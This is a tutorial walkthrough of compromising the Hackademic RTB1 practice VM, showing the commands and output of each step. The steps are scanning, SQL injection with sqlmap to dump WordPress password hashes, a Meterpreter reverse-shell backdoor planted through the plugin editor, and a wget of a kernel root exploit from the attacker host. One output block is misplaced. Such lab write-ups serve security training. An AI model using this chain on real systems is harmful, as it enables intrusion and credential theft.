Hello and welcome. Today I’ll be writing another “Game Over” tutorial based on a pentesting VM called Hackademic (this tutorial will be for level 1 aka RTB1, I’m still on the fence about doing level 2). This is a pretty recent VM created by “mr.pr0n”, you can download RTB1 & RTB2 here…
Let’s get to the good stuff, I’ll be using two VM’s:
Attacker: Backtrack 5 => 192.168.111.129
Victim: Hackademic.RTB1 => 192.168.111.131
First we need to have a look at our attack surface, which is pretty limited (I should mention that I did a full UDP&TCP port scan with unicornscan even though the results are omitted here). So let’s see what we have…
root@bt:~# nmap -sS -sV -T5 192.168.111.131 Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-11-15 21:59 CET Nmap scan report for 192.168.111.131 Host is up (0.00046s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd 2.2.15 ((Fedora)) MAC Address: 00:0C:29:73:5A:74 (VMware) root@bt:/pentest/web/nikto# ./nikto.pl -h http://192.168.111.131/Hackademic_RTB1/ - Nikto v2.1.4 --------------------------------------------------------------------------- + Target IP: 192.168.111.131 + Target Hostname: 192.168.111.131 + Target Port: 80 + Start Time: 2011-11-15 20:28:15 --------------------------------------------------------------------------- + Server: Apache/2.2.15 (Fedora) + Retrieved x-powered-by header: PHP/5.3.3 + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also current. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + /index.php/\"><script><script>alert(document.cookie)</script><: eZ publish v3 and prior allow Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /xmlrpc.php: xmlrpc.php was found.
+ /readme.html: This WordPress file reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ 6448 items checked: 1 error(s) and 9 item(s) reported on remote host
+ End Time: 2011-11-15 20:28:57 (42 seconds)
---------------------------------------------------------------------------
It’s not a whole lot of information but it gives us enough to get going with. After some poking and prodding I finally checked out the ”/readme.html”. This page contains a readme for the installed version of WordPress. I had no previous experience with WordPress so I got out my google-fu and started doing some general research (to discover it’s functionality and specifically searching for vulnerabilities). You can see a screenshot of the html page below, notice how helpful it is in telling us the exact version of WordPress ;))…
WordPress Readme
To put it gently, there are many many WordPress vulnerabilities. So let’s just throw spaghetti at the wall and see what sticks hehe. After checking some of the parameters for SQL-injection I found that the “cat” parameter was vulnerable…
root@bt:~# ls -l /var/www/ total 36 drwxr-xr-x 10 www-data www-data 4096 2011-06-04 17:28 beef -rw-r--r-- 1 root root 1286 2011-11-08 16:31 evil.php -rw-r--r-- 1 root root 177 2011-06-04 17:36 index.html -rw-r--r-- 1 root root 20 2011-11-16 18:34 info.php -rw-r--r-- 1 root root 5586 2011-11-16 18:13 phpmyadmin_swekey_rci_exploit.php -rwxrwxrwx 1 root root 6435 2011-11-15 21:27 rds.c drwxr-xr-x 2 root root 4096 2011-06-04 17:35 wstool root@bt:~# /etc/init.d/apache2 start * Starting web server apache2
This is a pretty good beginning and we can glean allot of information from this injection. What I’ll usually do in this kind of (academic) situation is dump the entire contents of the database; obviously I can’t reproduce it here. I encourage the diligent reader to play around with this injection as much as possible. What I’ll do below is show a top -> down overview of the Databases and Tables we will be using later on…
available databases [3]: [*] information_schema [*] mysql [*] wordpress || || || Database: wordpress [9 tables] +-------------------+ | wp_categories | | wp_comments | | wp_linkcategories | | wp_links | | wp_options | | wp_post2cat | | wp_postmeta | | wp_posts | | wp_users | +-------------------+ || || || Database: wordpress Table: wp_users [22 columns] +---------------------+---------------------+ | Column | Type | +---------------------+---------------------+ | ID | bigint(20) unsigned | | user_activation_key | varchar(60) | | user_aim | varchar(50) | | user_browser | varchar(200) | | user_description | longtext | | user_domain | varchar(200) | | user_email | varchar(100) | | user_firstname | varchar(50) | | user_icq | int(10) unsigned | | user_idmode | varchar(20) | | user_ip | varchar(15) | | user_lastname | varchar(50) | | user_level | int(2) unsigned | | user_login | varchar(60) | | user_msn | varchar(100) | | user_nicename | varchar(50) | | user_nickname | varchar(50) | | user_pass | varchar(64) | | user_registered | datetime | | user_status | int(11) | | user_url | varchar(100) | | user_yim | varchar(50) | +---------------------+---------------------+
As you can see this table is enormous, so let me break it down into what is actually useful. The dump below shows us some login information for users registered in the database (only MaxBucky passed our superficial hashcrack)…
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u "http://192.168.111.131/Hackademic_RTB1/?cat=1" -D wordpress -T wp_users -C user_firstname,user_lastname,user_nickname,user_pass --dump Database: wordpress Table: wp_users [6 entries] +----------------+---------------+---------------+---------------------------------------------+ | user_firstname | user_lastname | user_nickname | user_pass | +----------------+---------------+---------------+---------------------------------------------+ | Max | Bucky | MaxBucky | b986448f0bb9e5e124ca91d3d650f52c | | Jason | Konnors | JasonKonnors | a6e514f9486b83cb53d8d932f9a04292 (napoleon) | | Tony | Black | TonyBlack | 8601f6e1028a8e8a966f6c33fcd9aec4 (maxwell) | | George | Miller | GeorgeMiller | 7cbb3252ba6b7e9c422fac5334d22054 (q1w2e3) | | John | Smith | JohnSmith | 50484c19f1afdaf3841a0d821ed393d2 (kernel) | | Nick | James | NickJames | 21232f297a57a5a743894a0e4a801fc3 (admin) | +----------------+---------------+---------------+---------------------------------------------+
Before we continue there is something I should mention. The goal of this VM is to read the contents of a file in the ”/root” directory (key.txt). The SQL-database is mapped to the root user account. Due to the nature of this SQL-injection it is possible to actually read the contents of the file at this point. But let’s face it, that is pretty lame, ninjas don’t eat leftovers!! BTW I tried in vain to inject a custom UDF library into the database, if anyone has any input about that feel free to mail me. Anyway let’s quickly demonstrate this (less than cool technique) by dumping the contents of ”/etc/passwd”….
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:499:virtual console memory owner:/dev:/sbin/nologin avahi-autoipd:x:499:498:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin rtkit:x:498:494:RealtimeKit:/proc:/sbin/nologin nscd:x:28:493:NSCD Daemon:/:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin avahi:x:497:492:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin haldaemon:x:68:491:HAL daemon:/:/sbin/nologin openvpn:x:496:490:OpenVPN:/etc/openvpn:/sbin/nologin apache:x:48:489:Apache:/var/www:/sbin/nologin saslauth:x:495:488:"Saslauthd user":/var/empty/saslauth:/sbin/nologin mailnull:x:47:487::/var/spool/mqueue:/sbin/nologin smmsp:x:51:486::/var/spool/mqueue:/sbin/nologin smolt:x:494:485:Smolt:/usr/share/smolt:/sbin/nologin sshd:x:74:484:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin pulse:x:493:483:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin gdm:x:42:481::/var/lib/gdm:/sbin/nologin p0wnbox.Team:x:500:500:p0wnbox.Team:/home/p0wnbox.Team:/bin/bash mysql:x:27:480:MySQL Server:/var/lib/mysql:/bin/bash
So After a bit of thinking it occurred to me that we could use the credentials from the SQL-injection to actually log into WordPress through our browser (two users can log in GeorgeMiller and NickJames).
WordPress Login
After a bit of tinkering I discovered that the ”Plugins” tab allows you to edit the source code of the available plugins (actually only one of the three available plugins allows this but one is all we need). To add to the good news these plugins are world readable, so they can be loaded from a remote browser. Let’s create a meterpreter PHP-backdoor with msfpayload and set up our handler. At this point the only thing we need to do is replace the source code of ”textile1.php” with our malicious PHP code and browse to the URL in our browser…
wp-content
WordPress Plugin Editor
root@bt:~# msfpayload php/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 O Name: PHP Meterpreter, PHP Reverse TCP stager Module: payload/php/meterpreter/reverse_tcp Version: 12196, 12196 Platform: PHP Arch: php Needs Admin: No Total size: 1286 Rank: Normal Provided by: egypt <egypt@metasploit.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.111.129 yes The listen address LPORT 9988 yes The listen port Description: Reverse PHP connect back stager with checks for disabled functions, Run a meterpreter server in PHP root@bt:~# msfpayload php/meterpreter/reverse_tcp LHOST=192.168.111.129 LPORT=9988 R > /root/Desktop/evil.php #################################################################################################### msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (php/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.111.129 yes The listen address LPORT 9988 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > exploit [*] Started reverse handler on 192.168.111.129:9988 [*] Starting the payload handler... [*] Sending stage (38553 bytes) to 192.168.111.131 [*] Meterpreter session 1 opened (192.168.111.129:9988 -> 192.168.111.131:33912) at 2011-11-15 20:27:52 +0100 meterpreter > shell Process 2598 created. Channel 0 created. whoami apache uname -a Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux cd ../../../../../../../../../../../ ls bin boot dev etc home lib lost+found media mnt opt proc root sbin selinux srv sys tmp usr var cd root /bin/sh: line 6: cd: root: Permission denied
So this is pretty cool we have a shell with the privileges of ”apache” but as you can see above we have no access to the ”/root” directory. What remains is to find a local ”Linux Kernel 2.6.3” exploit. This confused me for a while; I couldn’t find any viable exploit on exploit-db and started to despair for a while hehe. NEVER forget google is your friend, check out the screenshot below…
Linux rds Exploit
The first link in the list is in fact exactly what we are looking for, what’s more the link refers directly to the ”*.c” exploit itself (how helpful). I downloaded this exploit, renamed it to ”rds.c” and put it in my apache directory. Everything is set for our end-game play, let’s return to our ”poor man’s shell” and transform it into a ”rich man’s shell” :p…
cd /tmp wget 192.168.111.129/rds.c --2011-11-15 17:15:27-- http://192.168.111.129/rds.c Connecting to 192.168.111.129:80... connected. HTTP request sent, awaiting response... 200 OK Length: 6435 (6.3K) [text/x-csrc] Saving to: `rds.c' 0K ...... 100% 187M=0s 2011-11-15 17:15:27 (187 MB/s) - `rds.c' saved [6435/6435] ls orbit-gdm pulse-PKdhtXMmr18n rds.c gcc rds.c -o rds ./rds [*] Linux kernel >= 2.6.30 RDS socket exploit [*] by Dan Rosenberg [*] Resolving kernel addresses... [+] Resolved rds_proto_ops to 0xe09dab20 [+] Resolved rds_ioctl to 0xe09c506a [+] Resolved commit_creds to 0xc044e5f1 [+] Resolved prepare_kernel_cred to 0xc044e452 [*] Overwriting function pointer... [*] Linux kernel >= 2.6.30 RDS socket exploit [*] by Dan Rosenberg [*] Resolving kernel addresses... [+] Resolved rds_proto_ops to 0xe09dab20 [+] Resolved rds_ioctl to 0xe09c506a [+] Resolved commit_creds to 0xc044e5f1 [+] Resolved prepare_kernel_cred to 0xc044e452 [*] Overwriting function pointer... [*] Triggering payload... [*] Restoring function pointer... whoami root cat /root/key.txt Yeah!! You must be proud because you 've got the password to complete the First *Realistic* Hackademic Challenge (Hackademic.RTB1) :) $_d&jgQ>>ak\#b"(Hx"o<la_% Regards, mr.pr0n || p0wnbox.Team || 2011 http://p0wnbox.com ...Game Over...